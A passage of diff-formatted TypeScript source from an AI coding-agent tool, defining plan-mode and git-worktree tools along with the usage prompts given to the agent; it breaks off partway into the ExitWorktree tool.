| 97 |
+
- Users appreciate being consulted before significant changes are made to their codebase
|
| 98 |
+
`
|
| 99 |
+
}
|
| 100 |
+
|
| 101 |
+
function getEnterPlanModeToolPromptAnt(): string {
|
| 102 |
+
// When interview phase is enabled, omit the "What Happens" section —
|
| 103 |
+
// detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
|
| 104 |
+
const whatHappens = isPlanModeInterviewPhaseEnabled()
|
| 105 |
+
? ''
|
| 106 |
+
: WHAT_HAPPENS_SECTION
|
| 107 |
+
|
| 108 |
+
return `Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
|
| 109 |
+
|
| 110 |
+
## When to Use This Tool
|
| 111 |
+
|
| 112 |
+
Plan mode is valuable when the implementation approach is genuinely unclear. Use it when:
|
| 113 |
+
|
| 114 |
+
1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase
|
| 115 |
+
- Example: "Add caching to the API" - Redis vs in-memory vs file-based
|
| 116 |
+
- Example: "Add real-time updates" - WebSockets vs SSE vs polling
|
| 117 |
+
|
| 118 |
+
2. **Unclear Requirements**: You need to explore and clarify before you can make progress
|
| 119 |
+
- Example: "Make the app faster" - need to profile and identify bottlenecks
|
| 120 |
+
- Example: "Refactor this module" - need to understand what the target architecture should be
|
| 121 |
+
|
| 122 |
+
3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk
|
| 123 |
+
- Example: "Redesign the authentication system"
|
| 124 |
+
- Example: "Migrate from one state management approach to another"
|
| 125 |
+
|
| 126 |
+
## When NOT to Use This Tool
|
| 127 |
+
|
| 128 |
+
Skip plan mode when you can reasonably infer the right approach:
|
| 129 |
+
- The task is straightforward even if it touches multiple files
|
| 130 |
+
- The user's request is specific enough that the implementation path is clear
|
| 131 |
+
- You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions)
|
| 132 |
+
- Bug fixes where the fix is clear once you understand the bug
|
| 133 |
+
- Research/exploration tasks (use the Agent tool instead)
|
| 134 |
+
- The user says something like "can we work on X" or "let's do X" — just get started
|
| 135 |
+
|
| 136 |
+
When in doubt, prefer starting work and using ${ASK_USER_QUESTION_TOOL_NAME} for specific questions over entering a full planning phase.
|
| 137 |
+
|
| 138 |
+
${whatHappens}## Examples
|
| 139 |
+
|
| 140 |
+
### GOOD - Use EnterPlanMode:
|
| 141 |
+
User: "Add user authentication to the app"
|
| 142 |
+
- Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure
|
| 143 |
+
|
| 144 |
+
User: "Redesign the data pipeline"
|
| 145 |
+
- Major restructuring where the wrong approach wastes significant effort
|
| 146 |
+
|
| 147 |
+
### BAD - Don't use EnterPlanMode:
|
| 148 |
+
User: "Add a delete button to the user profile"
|
| 149 |
+
- Implementation path is clear; just do it
|
| 150 |
+
|
| 151 |
+
User: "Can we work on the search feature?"
|
| 152 |
+
- User wants to get started, not plan
|
| 153 |
+
|
| 154 |
+
User: "Update the error handling in the API"
|
| 155 |
+
- Start working; ask specific questions if needed
|
| 156 |
+
|
| 157 |
+
User: "Fix the typo in the README"
|
| 158 |
+
- Straightforward, no planning needed
|
| 159 |
+
|
| 160 |
+
## Important Notes
|
| 161 |
+
|
| 162 |
+
- This tool REQUIRES user approval - they must consent to entering plan mode
|
| 163 |
+
`
|
| 164 |
+
}
|
| 165 |
+
|
| 166 |
+
export function getEnterPlanModeToolPrompt(): string {
|
| 167 |
+
return process.env.USER_TYPE === 'ant'
|
| 168 |
+
? getEnterPlanModeToolPromptAnt()
|
| 169 |
+
: getEnterPlanModeToolPromptExternal()
|
| 170 |
+
}
|
src/tools/EnterWorktreeTool/EnterWorktreeTool.ts
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { z } from 'zod/v4'
|
| 2 |
+
import { getSessionId, setOriginalCwd } from '../../bootstrap/state.js'
|
| 3 |
+
import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
|
| 4 |
+
import { logEvent } from '../../services/analytics/index.js'
|
| 5 |
+
import type { Tool } from '../../Tool.js'
|
| 6 |
+
import { buildTool, type ToolDef } from '../../Tool.js'
|
| 7 |
+
import { clearMemoryFileCaches } from '../../utils/claudemd.js'
|
| 8 |
+
import { getCwd } from '../../utils/cwd.js'
|
| 9 |
+
import { findCanonicalGitRoot } from '../../utils/git.js'
|
| 10 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 11 |
+
import { getPlanSlug, getPlansDirectory } from '../../utils/plans.js'
|
| 12 |
+
import { setCwd } from '../../utils/Shell.js'
|
| 13 |
+
import { saveWorktreeState } from '../../utils/sessionStorage.js'
|
| 14 |
+
import {
|
| 15 |
+
createWorktreeForSession,
|
| 16 |
+
getCurrentWorktreeSession,
|
| 17 |
+
validateWorktreeSlug,
|
| 18 |
+
} from '../../utils/worktree.js'
|
| 19 |
+
import { ENTER_WORKTREE_TOOL_NAME } from './constants.js'
|
| 20 |
+
import { getEnterWorktreeToolPrompt } from './prompt.js'
|
| 21 |
+
import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
|
| 22 |
+
|
| 23 |
+
const inputSchema = lazySchema(() =>
|
| 24 |
+
z.strictObject({
|
| 25 |
+
name: z
|
| 26 |
+
.string()
|
| 27 |
+
.superRefine((s, ctx) => {
|
| 28 |
+
try {
|
| 29 |
+
validateWorktreeSlug(s)
|
| 30 |
+
} catch (e) {
|
| 31 |
+
ctx.addIssue({ code: 'custom', message: (e as Error).message })
|
| 32 |
+
}
|
| 33 |
+
})
|
| 34 |
+
.optional()
|
| 35 |
+
.describe(
|
| 36 |
+
'Optional name for the worktree. Each "/"-separated segment may contain only letters, digits, dots, underscores, and dashes; max 64 chars total. A random name is generated if not provided.',
|
| 37 |
+
),
|
| 38 |
+
}),
|
| 39 |
+
)
|
| 40 |
+
type InputSchema = ReturnType<typeof inputSchema>
|
| 41 |
+
|
| 42 |
+
const outputSchema = lazySchema(() =>
|
| 43 |
+
z.object({
|
| 44 |
+
worktreePath: z.string(),
|
| 45 |
+
worktreeBranch: z.string().optional(),
|
| 46 |
+
message: z.string(),
|
| 47 |
+
}),
|
| 48 |
+
)
|
| 49 |
+
type OutputSchema = ReturnType<typeof outputSchema>
|
| 50 |
+
export type Output = z.infer<OutputSchema>
|
| 51 |
+
|
| 52 |
+
export const EnterWorktreeTool: Tool<InputSchema, Output> = buildTool({
|
| 53 |
+
name: ENTER_WORKTREE_TOOL_NAME,
|
| 54 |
+
searchHint: 'create an isolated git worktree and switch into it',
|
| 55 |
+
maxResultSizeChars: 100_000,
|
| 56 |
+
async description() {
|
| 57 |
+
return 'Creates an isolated worktree (via git or configured hooks) and switches the session into it'
|
| 58 |
+
},
|
| 59 |
+
async prompt() {
|
| 60 |
+
return getEnterWorktreeToolPrompt()
|
| 61 |
+
},
|
| 62 |
+
get inputSchema(): InputSchema {
|
| 63 |
+
return inputSchema()
|
| 64 |
+
},
|
| 65 |
+
get outputSchema(): OutputSchema {
|
| 66 |
+
return outputSchema()
|
| 67 |
+
},
|
| 68 |
+
userFacingName() {
|
| 69 |
+
return 'Creating worktree'
|
| 70 |
+
},
|
| 71 |
+
shouldDefer: true,
|
| 72 |
+
toAutoClassifierInput(input) {
|
| 73 |
+
return input.name ?? ''
|
| 74 |
+
},
|
| 75 |
+
renderToolUseMessage,
|
| 76 |
+
renderToolResultMessage,
|
| 77 |
+
async call(input) {
|
| 78 |
+
// Validate not already in a worktree created by this session
|
| 79 |
+
if (getCurrentWorktreeSession()) {
|
| 80 |
+
throw new Error('Already in a worktree session')
|
| 81 |
+
}
|
| 82 |
+
|
| 83 |
+
// Resolve to main repo root so worktree creation works from within a worktree
|
| 84 |
+
const mainRepoRoot = findCanonicalGitRoot(getCwd())
|
| 85 |
+
if (mainRepoRoot && mainRepoRoot !== getCwd()) {
|
| 86 |
+
process.chdir(mainRepoRoot)
|
| 87 |
+
setCwd(mainRepoRoot)
|
| 88 |
+
}
|
| 89 |
+
|
| 90 |
+
const slug = input.name ?? getPlanSlug()
|
| 91 |
+
|
| 92 |
+
const worktreeSession = await createWorktreeForSession(getSessionId(), slug)
|
| 93 |
+
|
| 94 |
+
process.chdir(worktreeSession.worktreePath)
|
| 95 |
+
setCwd(worktreeSession.worktreePath)
|
| 96 |
+
setOriginalCwd(getCwd())
|
| 97 |
+
saveWorktreeState(worktreeSession)
|
| 98 |
+
// Clear cached system prompt sections so env_info_simple recomputes with worktree context
|
| 99 |
+
clearSystemPromptSections()
|
| 100 |
+
// Clear memoized caches that depend on CWD
|
| 101 |
+
clearMemoryFileCaches()
|
| 102 |
+
getPlansDirectory.cache.clear?.()
|
| 103 |
+
|
| 104 |
+
logEvent('tengu_worktree_created', {
|
| 105 |
+
mid_session: true,
|
| 106 |
+
})
|
| 107 |
+
|
| 108 |
+
const branchInfo = worktreeSession.worktreeBranch
|
| 109 |
+
? ` on branch ${worktreeSession.worktreeBranch}`
|
| 110 |
+
: ''
|
| 111 |
+
|
| 112 |
+
return {
|
| 113 |
+
data: {
|
| 114 |
+
worktreePath: worktreeSession.worktreePath,
|
| 115 |
+
worktreeBranch: worktreeSession.worktreeBranch,
|
| 116 |
+
message: `Created worktree at ${worktreeSession.worktreePath}${branchInfo}. The session is now working in the worktree. Use ExitWorktree to leave mid-session, or exit the session to be prompted.`,
|
| 117 |
+
},
|
| 118 |
+
}
|
| 119 |
+
},
|
| 120 |
+
mapToolResultToToolResultBlockParam({ message }, toolUseID) {
|
| 121 |
+
return {
|
| 122 |
+
type: 'tool_result',
|
| 123 |
+
content: message,
|
| 124 |
+
tool_use_id: toolUseID,
|
| 125 |
+
}
|
| 126 |
+
},
|
| 127 |
+
} satisfies ToolDef<InputSchema, Output>)
|
src/tools/EnterWorktreeTool/UI.tsx
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import * as React from 'react';
|
| 2 |
+
import { Box, Text } from '../../ink.js';
|
| 3 |
+
import type { ToolProgressData } from '../../Tool.js';
|
| 4 |
+
import type { ProgressMessage } from '../../types/message.js';
|
| 5 |
+
import type { ThemeName } from '../../utils/theme.js';
|
| 6 |
+
import type { Output } from './EnterWorktreeTool.js';
|
| 7 |
+
export function renderToolUseMessage(): React.ReactNode {
|
| 8 |
+
return 'Creating worktree…';
|
| 9 |
+
}
|
| 10 |
+
export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
|
| 11 |
+
theme: ThemeName;
|
| 12 |
+
}): React.ReactNode {
|
| 13 |
+
return <Box flexDirection="column">
|
| 14 |
+
<Text>
|
| 15 |
+
Switched to worktree on branch <Text bold>{output.worktreeBranch}</Text>
|
| 16 |
+
</Text>
|
| 17 |
+
<Text dimColor>{output.worktreePath}</Text>
|
| 18 |
+
</Box>;
|
| 19 |
+
}
|
| 20 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJ3b3JrdHJlZUJyYW5jaCIsIndvcmt0cmVlUGF0aCJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyV29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdDcmVhdGluZyB3b3JrdHJlZeKApidcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8VG9vbFByb2dyZXNzRGF0YT5bXSxcbiAgX29wdGlvbnM6IHsgdGhlbWU6IFRoZW1lTmFtZSB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxUZXh0PlxuICAgICAgICBTd2l0Y2hlZCB0byB3b3JrdHJlZSBvbiBicmFuY2ggPFRleHQgYm9sZD57b3V0cHV0Lndvcmt0cmVlQnJhbmNofTwvVGV4dD5cbiAgICAgIDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntvdXRwdXQud29ya3RyZWVQYXRofTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sb0JBQW9CO0FBQzdCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUTtBQUMvQixNQUFNLENBQUMsSUFBSTtBQUNYLHVDQUF1QyxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0UsTUFBTSxDQUFDSSxjQUFjLENBQUMsRUFBRSxJQUFJO0FBQy9FLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0osTUFBTSxDQUFDSyxZQUFZLENBQUMsRUFBRSxJQUFJO0FBQ2hELElBQUksRUFBRSxHQUFHLENBQUM7QUFFViIsImlnbm9yZUxpc3QiOltdfQ==
|
src/tools/EnterWorktreeTool/constants.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
export const ENTER_WORKTREE_TOOL_NAME = 'EnterWorktree'
|
src/tools/EnterWorktreeTool/prompt.ts
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
export function getEnterWorktreeToolPrompt(): string {
|
| 2 |
+
return `Use this tool ONLY when the user explicitly asks to work in a worktree. This tool creates an isolated git worktree and switches the current session into it.
|
| 3 |
+
|
| 4 |
+
## When to Use
|
| 5 |
+
|
| 6 |
+
- The user explicitly says "worktree" (e.g., "start a worktree", "work in a worktree", "create a worktree", "use a worktree")
|
| 7 |
+
|
| 8 |
+
## When NOT to Use
|
| 9 |
+
|
| 10 |
+
- The user asks to create a branch, switch branches, or work on a different branch — use git commands instead
|
| 11 |
+
- The user asks to fix a bug or work on a feature — use normal git workflow unless they specifically mention worktrees
|
| 12 |
+
- Never use this tool unless the user explicitly mentions "worktree"
|
| 13 |
+
|
| 14 |
+
## Requirements
|
| 15 |
+
|
| 16 |
+
- Must be in a git repository, OR have WorktreeCreate/WorktreeRemove hooks configured in settings.json
|
| 17 |
+
- Must not already be in a worktree
|
| 18 |
+
|
| 19 |
+
## Behavior
|
| 20 |
+
|
| 21 |
+
- In a git repository: creates a new git worktree inside \`.claude/worktrees/\` with a new branch based on HEAD
|
| 22 |
+
- Outside a git repository: delegates to WorktreeCreate/WorktreeRemove hooks for VCS-agnostic isolation
|
| 23 |
+
- Switches the session's working directory to the new worktree
|
| 24 |
+
- Use ExitWorktree to leave the worktree mid-session (keep or remove). On session exit, if still in the worktree, the user will be prompted to keep or remove it
|
| 25 |
+
|
| 26 |
+
## Parameters
|
| 27 |
+
|
| 28 |
+
- \`name\` (optional): A name for the worktree. If not provided, a random name is generated.
|
| 29 |
+
`
|
| 30 |
+
}
|
src/tools/ExitPlanModeTool/constants.ts
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
export const EXIT_PLAN_MODE_TOOL_NAME = 'ExitPlanMode'
|
| 2 |
+
export const EXIT_PLAN_MODE_V2_TOOL_NAME = 'ExitPlanMode'
|
src/tools/ExitPlanModeTool/prompt.ts
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// External stub for ExitPlanModeTool prompt - excludes Ant-only allowedPrompts section
|
| 2 |
+
|
| 3 |
+
// Hardcoded to avoid relative import issues in stub
|
| 4 |
+
const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
|
| 5 |
+
|
| 6 |
+
export const EXIT_PLAN_MODE_V2_TOOL_PROMPT = `Use this tool when you are in plan mode and have finished writing your plan to the plan file and are ready for user approval.
|
| 7 |
+
|
| 8 |
+
## How This Tool Works
|
| 9 |
+
- You should have already written your plan to the plan file specified in the plan mode system message
|
| 10 |
+
- This tool does NOT take the plan content as a parameter - it will read the plan from the file you wrote
|
| 11 |
+
- This tool simply signals that you're done planning and ready for the user to review and approve
|
| 12 |
+
- The user will see the contents of your plan file when they review it
|
| 13 |
+
|
| 14 |
+
## When to Use This Tool
|
| 15 |
+
IMPORTANT: Only use this tool when the task requires planning the implementation steps of a task that requires writing code. For research tasks where you're gathering information, searching files, reading files or in general trying to understand the codebase - do NOT use this tool.
|
| 16 |
+
|
| 17 |
+
## Before Using This Tool
|
| 18 |
+
Ensure your plan is complete and unambiguous:
|
| 19 |
+
- If you have unresolved questions about requirements or approach, use ${ASK_USER_QUESTION_TOOL_NAME} first (in earlier phases)
|
| 20 |
+
- Once your plan is finalized, use THIS tool to request approval
|
| 21 |
+
|
| 22 |
+
**Important:** Do NOT use ${ASK_USER_QUESTION_TOOL_NAME} to ask "Is this plan okay?" or "Should I proceed?" - that's exactly what THIS tool does. ExitPlanMode inherently requests user approval of your plan.
|
| 23 |
+
|
| 24 |
+
## Examples
|
| 25 |
+
|
| 26 |
+
1. Initial task: "Search for and understand the implementation of vim mode in the codebase" - Do not use the exit plan mode tool because you are not planning the implementation steps of a task.
|
| 27 |
+
2. Initial task: "Help me implement yank mode for vim" - Use the exit plan mode tool after you have finished planning the implementation steps of the task.
|
| 28 |
+
3. Initial task: "Add a new feature to handle user authentication" - If unsure about auth method (OAuth, JWT, etc.), use ${ASK_USER_QUESTION_TOOL_NAME} first, then use exit plan mode tool after clarifying the approach.
|
| 29 |
+
`
|
src/tools/ExitWorktreeTool/ExitWorktreeTool.ts
ADDED
|
@@ -0,0 +1,329 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { z } from 'zod/v4'
|
| 2 |
+
import {
|
| 3 |
+
getOriginalCwd,
|
| 4 |
+
getProjectRoot,
|
| 5 |
+
setOriginalCwd,
|
| 6 |
+
setProjectRoot,
|
| 7 |
+
} from '../../bootstrap/state.js'
|
| 8 |
+
import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
|
| 9 |
+
import { logEvent } from '../../services/analytics/index.js'
|
| 10 |
+
import type { Tool } from '../../Tool.js'
|
| 11 |
+
import { buildTool, type ToolDef } from '../../Tool.js'
|
| 12 |
+
import { count } from '../../utils/array.js'
|
| 13 |
+
import { clearMemoryFileCaches } from '../../utils/claudemd.js'
|
| 14 |
+
import { execFileNoThrow } from '../../utils/execFileNoThrow.js'
|
| 15 |
+
import { updateHooksConfigSnapshot } from '../../utils/hooks/hooksConfigSnapshot.js'
|
| 16 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 17 |
+
import { getPlansDirectory } from '../../utils/plans.js'
|
| 18 |
+
import { setCwd } from '../../utils/Shell.js'
|
| 19 |
+
import { saveWorktreeState } from '../../utils/sessionStorage.js'
|
| 20 |
+
import {
|
| 21 |
+
cleanupWorktree,
|
| 22 |
+
getCurrentWorktreeSession,
|
| 23 |
+
keepWorktree,
|
| 24 |
+
killTmuxSession,
|
| 25 |
+
} from '../../utils/worktree.js'
|
| 26 |
+
import { EXIT_WORKTREE_TOOL_NAME } from './constants.js'
|
| 27 |
+
import { getExitWorktreeToolPrompt } from './prompt.js'
|
| 28 |
+
import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
|
| 29 |
+
|
| 30 |
+
const inputSchema = lazySchema(() =>
|
| 31 |
+
z.strictObject({
|
| 32 |
+
action: z
|
| 33 |
+
.enum(['keep', 'remove'])
|
| 34 |
+
.describe(
|
| 35 |
+
'"keep" leaves the worktree and branch on disk; "remove" deletes both.',
|
| 36 |
+
),
|
| 37 |
+
discard_changes: z
|
| 38 |
+
.boolean()
|
| 39 |
+
.optional()
|
| 40 |
+
.describe(
|
| 41 |
+
'Required true when action is "remove" and the worktree has uncommitted files or unmerged commits. The tool will refuse and list them otherwise.',
|
| 42 |
+
),
|
| 43 |
+
}),
|
| 44 |
+
)
|
| 45 |
+
type InputSchema = ReturnType<typeof inputSchema>
|
| 46 |
+
|
| 47 |
+
const outputSchema = lazySchema(() =>
|
| 48 |
+
z.object({
|
| 49 |
+
action: z.enum(['keep', 'remove']),
|
| 50 |
+
originalCwd: z.string(),
|
| 51 |
+
worktreePath: z.string(),
|
| 52 |
+
worktreeBranch: z.string().optional(),
|
| 53 |
+
tmuxSessionName: z.string().optional(),
|
| 54 |
+
discardedFiles: z.number().optional(),
|
| 55 |
+
discardedCommits: z.number().optional(),
|
| 56 |
+
message: z.string(),
|
| 57 |
+
}),
|
| 58 |
+
)
|
| 59 |
+
type OutputSchema = ReturnType<typeof outputSchema>
|
| 60 |
+
export type Output = z.infer<OutputSchema>
|
| 61 |
+
|
| 62 |
+
type ChangeSummary = {
|
| 63 |
+
changedFiles: number
|
